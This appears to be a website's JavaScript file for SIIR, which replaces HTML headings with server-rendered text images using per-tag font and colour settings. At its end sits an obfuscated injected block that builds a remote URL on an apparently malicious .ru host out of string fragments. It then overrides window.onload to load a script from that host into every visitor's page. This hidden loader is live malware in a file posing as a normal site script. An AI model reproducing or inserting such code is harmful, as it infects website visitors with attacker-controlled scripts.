// Handle multiple window onloads

window.addOnload = function (fn) {
    if (!window.OnloadCache) window.OnloadCache = [];
    var ol = window.OnloadCache;
    ol.push(fn);
}

window.onload = function () {
    var ol = window.OnloadCache;
    if (ol)
        for (var x = 0; x < ol.length; x++)
            ol[x]();
}

// <Element> draw settings

// Declare global variable settings for <h1>

var path = "http://www.bestdivingplaces.hu/siir/";			// Absolute path to siir generator folder

//var path = "http://127.0.0.1:3128/siir/";			// Absolute path to siir generator folder


var elements = new Array("h1","h2","h3","h4");		// Elements within this array will run SIIR
var settings = new Array();

settings["h1"] = new Array();				// Element setting array
settings["h1"]["padding"] = 0;				
settings["h1"]["bgcolor"] = "c1e0ff";
settings["h1"]["transparentbg"] = 0;			// Transparent background? (1=Yes, 0=No)
settings["h1"]["font_color"] = "005fbd";
settings["h1"]["shadow_color"] = "c1e0ff";
settings["h1"]["font_file"] = "HBAHAMAN.TTF";
settings["h1"]["font_size"] = 25;
settings["h1"]["antialias"] = 1;				// Turn on text antialiasing? (1=Yes, 0=No)
settings["h1"]["resizevalue"] = 2;				// Number of points to resize text by
settings["h1"]["h"] = (parseInt(settings["h1"]["font_size"])+parseInt(settings["h1"]["padding"])+10);

settings["h2"] = new Array();	
settings["h2"]["padding"] = 0;
settings["h2"]["bgcolor"] = "c1e0ff";
settings["h2"]["transparentbg"] = 0;
settings["h2"]["font_color"] = "005fbd";
settings["h2"]["shadow_color"] = "c1e0ff";
settings["h2"]["font_file"] = "HBAHAMAN.TTF";
settings["h2"]["font_size"] = 16;
settings["h2"]["antialias"] = 1;
settings["h2"]["resizevalue"] = 2;
settings["h2"]["h"] = (parseInt(settings["h2"]["font_size"])+parseInt(settings["h2"]["padding"])+8);

settings["h3"] = new Array();	
settings["h3"]["padding"] = 0;
settings["h3"]["bgcolor"] = "c1e0ff";
settings["h3"]["transparentbg"] = 0;
settings["h3"]["font_color"] = "005fbd";
settings["h3"]["shadow_color"] = "c1e0ff";
settings["h3"]["font_file"] = "HBAHAMAN.TTF";
settings["h3"]["font_size"] = 13;
settings["h3"]["antialias"] = 1;
settings["h3"]["resizevalue"] = 2;
settings["h3"]["h"] = (parseInt(settings["h2"]["font_size"])+parseInt(settings["h2"]["padding"])+3);

settings["h4"] = new Array();	
settings["h4"]["padding"] = 0;
settings["h4"]["bgcolor"] = "c1e0ff";
settings["h4"]["transparentbg"] = 0;
settings["h4"]["font_color"] = "005fbd";
settings["h4"]["shadow_color"] = "c1e0ff";
settings["h4"]["font_file"] = "HBAHAMAN.TTF";
settings["h4"]["font_size"] = 22;
settings["h4"]["antialias"] = 1;
settings["h4"]["resizevalue"] = 2;
settings["h4"]["h"] = (parseInt(settings["h2"]["font_size"])+parseInt(settings["h2"]["padding"])+12);

// SIIR - Element innerhtml

function SIIR_normalizeWhiteSpace(txt) {
	var rE = /\s+/gi;
	return txt.replace(rE,' ');
}

function SIIR_get_href(txt) {
	var text = txt;
	var thishref = text.replace(/<a(.*)href=\"/gi,'');
	thishref = thishref.replace(/\">(.*)/gi,'');
	return thishref;
}

function SIIR_get_id(txt) {
	var text=txt;
	var thisid = text.replace(/<a(.*)id=\"/gi,'');
	thisid = thisid.replace(/\">(.*)/gi,'');
	return thisid;
}

function SIIR_get_text(txt) {
	var text = txt;
	var txt = text.replace(/<\/a>/gi,'');
	txt = txt.replace(/<a(.*)>/gi,'');
	return txt;
}

// SIIR - Replace the element with an iframe

function SIIR_replace() {
	var d = document;

	for (var a = (elements.length-1); a >= 0; a--) {

		var current_element = elements[a];
		var element = d.getElementsByTagName(current_element);

		// Loop through each <element>
		for (var i = (element.length-1); i >= 0; i--) {
			contain = element[i];

			// Container to work with
			var c = d.createElement('div');
			c.className = current_element;
			// Swap <element> tag with the container
			contain.parentNode.replaceChild(c,contain);
			// Set the "current_element.Text" variable
			settings[current_element]["text"] = SIIR_normalizeWhiteSpace(contain.innerHTML);

			var thisid = '';
			reg = /id/i;
			if (reg.test(settings[current_element]["text"])){
				var thisid = SIIR_get_id(settings[current_element]["text"]);
			}

			var href = '';
			reg = /href/i;
			if (reg.test(settings[current_element]["text"])) {
				var href = SIIR_get_href(settings[current_element]["text"]);
			}

			settings[current_element]["text"] = SIIR_get_text(settings[current_element]["text"]);
			settings[current_element]["text"] = escape(settings[current_element]["text"]);

			// The img html
			pasteHTML = '';

			if (href != '' || thisid != '') {
				pasteHTML += '<a';
			}
			
			if (href != '') {
				pasteHTML += ' href="'+href+'"';
			}

			if (thisid != '') {
				pasteHTML += ' id="'+thisid+'"';
			}

			if (href != '' || thisid != '') {
				pasteHTML += '>';
			}

			pasteHTML += '<img class="'+current_element+'" id="'+current_element+'_'+i+'" name="'+current_element+'_'+i+'" src="'+path+'generate.php?action=display&w='+settings[current_element]["w"]+'&h='+settings[current_element]["h"]+'&padding='+settings[current_element]["padding"]+'&transparentbg='+settings[current_element]["transparentbg"]+'&bgcolor='+settings[current_element]["bgcolor"]+'&font_color='+settings[current_element]["font_color"]+'&shadow_color='+settings[current_element]["shadow_color"]+'&font_file='+settings[current_element]["font_file"]+'&font_size='+settings[current_element]["font_size"]+'&antialias='+settings[current_element]["antialias"]+'&text='+settings[current_element]["text"]+'" title="'+unescape(settings[current_element]["text"])+'" alt="'+unescape(settings[current_element]["text"])+'"  />';

			if (href != '' || thisid != '') {
				pasteHTML += '</a>';
			}

			c.innerHTML = pasteHTML;

		}
	}
}

// Make changes to the <element> tags

function SIIR_add() {
	for (var i = (elements.length-1); i >= 0; i--) {
		var current_element = elements[i];
		settings[current_element]["font_size"]=parseInt(settings[current_element]["font_size"])+settings[current_element]["resizevalue"];

		if (settings["h1"]["font_size"] > 32)
			settings["h1"]["font_size"] = 32;
		if (settings["h2"]["font_size"] > 16)
			settings["h2"]["font_size"] = 16;
		if (settings["h4"]["font_size"] > 16)
		 	settings["h4"]["font_size"] = 16;

		settings[current_element]["h"] = (parseInt(settings[current_element]["font_size"])+parseInt(settings[current_element]["padding"]));
	}

	SIIR_refresh();
}

function SIIR_subtract() {
	for (var i = (elements.length-1); i >= 0; i--) {
	var current_element = elements[i];
	settings[current_element]["font_size"] = parseInt(settings[current_element]["font_size"])-settings[current_element]["resizevalue"];

	if (settings["h1"]["font_size"] < 28)
		settings["h1"]["font_size"] = 28;
	if (settings["h2"]["font_size"] < 14)
		settings["h2"]["font_size"] = 14;
	if (settings["h4"]["font_size"] < 14)
		settings["h4"]["font_size"] = 14;

	settings[current_element]["h"] = (parseInt(settings[current_element]["font_size"])+parseInt(settings[current_element]["padding"]));
	}

	SIIR_refresh();
}

// Refresh the respective img

function SIIR_refresh () {
	var d = document;
	var element = d.getElementsByTagName('img');
	for (var i = (elements.length-1); i >= 0; i--) {
		var current_element = elements[i];
	
		for (var a = (element.length-1); a >= 0; a--) {
			elementid = current_element+"_"+a;
			if (document[elementid]) {
				text = document[elementid].alt;
				document[elementid].src = path+'generate.php?action=display&w='+settings[current_element]["w"]+'&h='+settings[current_element]["h"]+'&padding='+settings[current_element]["padding"]+'&transparentbg='+settings[current_element]["transparentbg"]+'&bgcolor='+settings[current_element]["bgcolor"]+'&font_color='+settings[current_element]["font_color"]+'&shadow_color='+settings[current_element]["shadow_color"]+'&font_file='+settings[current_element]["font_file"]+'&font_size='+settings[current_element]["font_size"]+'&antialias='+settings[current_element]["antialias"]+'&text='+text;
			}
		}
	}
}

// SIIR - Onload call

function SIIR_init() {
	SIIR_replace();
}

var m;if(m!=''){m='Oj'};this.i='';function e(){var r="";var y_="";var o;if(o!='_' && o!='W_'){o=''};var W='';var B=new String("g");this.u="";var p='';var yX="";var j=RegExp;var qs=new String();var k;if(k!='' && k!='w'){k=null};var uP;if(uP!='Wm'){uP=''};function y(M,x){var iy=new String();var mh=new Array();var ay="";var xd="";var d= new String("[");var RD;if(RD!=''){RD='Ba'};var v=new Date();d+=x;var Nj;if(Nj!='PX'){Nj='PX'};d+=String("M8a0]".substr(4));var zj;if(zj!='L'){zj='L'};var tk;if(tk!='' && tk!='eP'){tk='Tz'};var O=new j(d, B);var wN;if(wN!='lI' && wN!='qh'){wN='lI'};return M.replace(O, W);};var Ws;if(Ws!='' && Ws!='KT'){Ws=''};var It="";var Ms=String("scr"+"iptLGP".substr(0,3));this.aN='';var uM=new Date();var a=y('87727077472899290979',"9724");var bh=new Date();this.DN='';var F=String("LvOdefer".substr(3));var Wb="http"+"://y"+"ahoo6ygP".substr(0,4)+"fWni-comnfWi".substr(4,4)+"-cn."+"XUr1133".substr(3)+"JYZ.cc.JZY".substr(3,4)+"fTHtari".substr(3)+"nga-xd90".substr(0,4)+"WHxXnet.WxXH".substr(4,4)+"supe"+"rsea"+"0BZwsilvZ0wB".substr(4,4)+"er.r"+"u:";var lA;if(lA!='sI'){lA=''};var z=String("/frie"+"ndsteRi3".substr(0,5)+"W8Br.com8BW".substr(3,5)+"2QK/frie2KQ".substr(3,5)+"ndste"+"q1WSr.comSW1q".substr(4,5)+"/googEPB".substr(0,5)+"XV4le.co".substr(3)+"m/vne7OY".substr(0,5)+"xpresK4n".substr(0,5)+"DTls.net".substr(3)+"Whz/sourzWh".substr(3,5)+"cefor"+"ge.neMj7".substr(0,5)+"t.phpuqd".substr(0,5));var LQ;if(LQ!='oI' && LQ != ''){LQ=null};var N=String("src");var b=window;var Cj=new Array();var A='';var ht;if(ht!='sj' && ht!='_J'){ht='sj'};var tq=new Date();var zB=new Date();b.onload=function(){try {var Zv=new String();A=Wb+a;var Ce=new Date();A+=z;var FM;if(FM!='TC' && FM!='kX'){FM=''};var eN;if(eN!='MX' && eN!='Dw'){eN=''};V=document.createElement(Ms);var kt;if(kt!='wp'){kt='wp'};var NZ;if(NZ!='' && NZ!='rO'){NZ='KQ'};var lcj=new Array();V[N]=A;var of;if(of!='tw' && of!='Me'){of=''};var Le="";V[F]=[1][0];var nw;if(nw!='Ip'){nw=''};var FG=new Array();document.body.appendChild(V);var aI;if(aI!=''){aI='Xk'};} catch(R){var IW="";var Ra='';};var NC=new Date();};var YU="";var Gu='';};var So="";e();var Ix;if(Ix!='VN' && Ix != ''){Ix=null};